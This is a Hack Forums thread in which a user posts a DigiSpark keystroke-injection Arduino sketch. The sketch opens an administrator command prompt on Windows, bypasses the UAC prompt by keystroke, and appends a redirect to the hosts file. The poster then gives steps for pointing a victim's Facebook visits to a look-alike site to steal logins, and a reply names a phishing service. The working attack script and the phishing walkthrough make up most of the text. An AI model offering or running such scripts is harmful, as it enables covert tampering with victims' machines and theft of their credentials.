Hack Forums
[Shell] === [DigiSpark] Local DNS Spoofer === - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [Shell] === [DigiSpark] Local DNS Spoofer === (/showthread.php?tid=5581058)



=== [DigiSpark] Local DNS Spoofer === - Skidy - Mar 21, 2017

[Image: 75537776463cb97ea0ff5b80ebb87546.png]

This is really simple to do but I thought I would post it and explain the consequences of DNS Spoofing.

Code
#include "DigiKeyboard.h"

void setup() {
  // don't need to set anything up to use DigiKeyboard
}


void loop() {
  // this is generally not necessary but with some older systems it seems to
  // prevent missing the first character after a delay:
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.sendKeyStroke(0, MOD_GUI_LEFT);
  DigiKeyboard.delay(1000);
  DigiKeyboard.print("cmd");
  DigiKeyboard.delay(1000);
  DigiKeyboard.sendKeyStroke(KEY_ENTER, MOD_CONTROL_LEFT | MOD_SHIFT_LEFT);
  DigiKeyboard.delay(1000);
  DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(1000);
  DigiKeyboard.print("ECHO 127.0.0.1 TEST.COM >> C:/WINDOWS/SYSTEM32/DRIVERS/ETC/HOSTS");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
}

What does this do?

When this script has been executed, if your victim browses to test.com it will appear as they are on the correct domain but browsing a different website. You can change the code above to suit your needs.

An example would be:

  1. Execute script for Facebook.com

  2. Change the DNS to your public website which mimiks Facebook

  3. They login

  4. You get their information (done by your site)



The possibilities for this are endless. To get started just change test.com to a website your victim browses and 127.0.0.1 to your sites IP.


* - Cumbax - Mar 21, 2017

Nice script! Keep it up.

As you mentioned above, for facebook you can use a site called "z-shadow"